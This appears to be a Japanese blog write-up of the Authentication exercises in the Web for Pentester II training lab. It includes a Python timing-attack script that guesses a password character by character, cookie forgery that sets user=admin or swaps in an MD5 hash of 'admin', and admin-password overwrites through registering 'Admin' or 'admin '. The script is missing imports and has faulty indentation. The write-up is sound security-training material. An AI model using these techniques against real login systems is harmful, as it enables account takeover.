Shikata Ga Nai

Private? There is no such things.

Web for Pentester IIのAuthenticationをやってみた

Hello there, ('ω')ノ

 

Authenticationを。

 

f:id:ThisIsOne:20210519131432p:plain

 

Example2では、下記でログインするとBase64らしきものが。

 hacker/a

 

f:id:ThisIsOne:20210519151207p:plain

 

デコードしてみると入力したユーザ名とパスワードが。

 

f:id:ThisIsOne:20210519151132p:plain

 

パスワードに含まれない文字を入力するとレスポンス時間に差異があるようなので。

下記のプログラムを作成して、1文字ずつパスワードをさぐっていくことに。

 

paypass.py

 

import requests

def auth():
 url = "http://192.168.153.147/authentication/example2/"
 base_time = None
 password = ""
 passwords = string.lowercase + string.uppercase + string.digits


 while True:
  tmp_start = time.time()
  html = requests.get(url, auth=("hacker", password + "a"))
  base_time = time.time()-tmp_start


  for pwd in passwords:
   start = time.time()
   html = requests.get(url, auth=("hacker", password + pwd))
   used_time = time.time() - start


   if html.status_code == 200:
    print "[*] FIND PASSWORD: {}".format(password + pwd)
    return


   if used_time - base_time > 0.1:
    password += pwd
    print "[+] password: {} ..".format(password)
    break
   elif base_time - used_time > 0.1:
    password += "a"
    print "[+] password: {} ..".format(password)
    break


   print "Use Time: {}, password:{}".format(time.time()-start, password + pwd)

 

 if __name__=='__main__':
  auth()

 

下記で実行して。

 python paypass.py

 

f:id:ThisIsOne:20210519160240p:plain

 

最終的にパスワードがわかって。

 

f:id:ThisIsOne:20210519160652p:plain

 

下記でログインしてクリアできて。

 hacker/p4ssw0rd

 

f:id:ThisIsOne:20210519160757p:plain

 

Example3では、ログインして。

 

f:id:ThisIsOne:20210519131830p:plain

 

f:id:ThisIsOne:20210519131946p:plain

 

adminで適当にログインしてみると。

 

f:id:ThisIsOne:20210519132024p:plain

 

Cookieには値がセットされていなくて。

 

f:id:ThisIsOne:20210519132307p:plain

 

再度、user1でログインしてリクエストをリピータへ。

 

f:id:ThisIsOne:20210519133025p:plain

 

下記のようにCookieを変更してSendしてみるとクリアできて。

 Cookie: user=admin

 

f:id:ThisIsOne:20210519133001p:plain

 

Example4では、ログインしてみるとハッシュ値らしきものが。

 

f:id:ThisIsOne:20210519133633p:plain

 

下記のサイトでデコードしてみると。

 https://hashtoolkit.com/decrypt-hash/?hash=24c9e15e52afc47c225b757e7bee1f9d

 

f:id:ThisIsOne:20210519133520p:plain

 

次にadminをエンコードして。

 https://hashtoolkit.com/generate-hash/?text=admin

 

f:id:ThisIsOne:20210519133909p:plain

 

Cookie値を置き換えるとクリアできて。

 

f:id:ThisIsOne:20210519133824p:plain

 

Example5では、下記で登録しようとすると。

 admin/pass

 

f:id:ThisIsOne:20210519134229p:plain

 

ユーザ名が存在するとのことで、下記で登録しなおすと。

 Admin/pass

 

f:id:ThisIsOne:20210519134313p:plain

 

大小文字はWEBアプリでは区別しないようで、登録できて。

 

f:id:ThisIsOne:20210519134331p:plain

 

実際に下記でログインするとパスワードが上書きされて。

 admin/pass

 

f:id:ThisIsOne:20210519134404p:plain

 

f:id:ThisIsOne:20210519134435p:plain

 

Example6では、下記で登録するとエラーが。

 admin/pass

 

ユーザ名の後に半角スペースを入れて登録すると。

 admin /pass

 

f:id:ThisIsOne:20210519135936p:plain

 

WEBアプリ上では、違うユーザ名として判定されて。

 

f:id:ThisIsOne:20210519140018p:plain

 

しかしながらバックエンドのデータベースでは、同じユーザとみなして。

下記でログインできるので、パスワードが上書きされていて。

 admin/pass

 

f:id:ThisIsOne:20210519140051p:plain

 

Best regards, (^^ゞ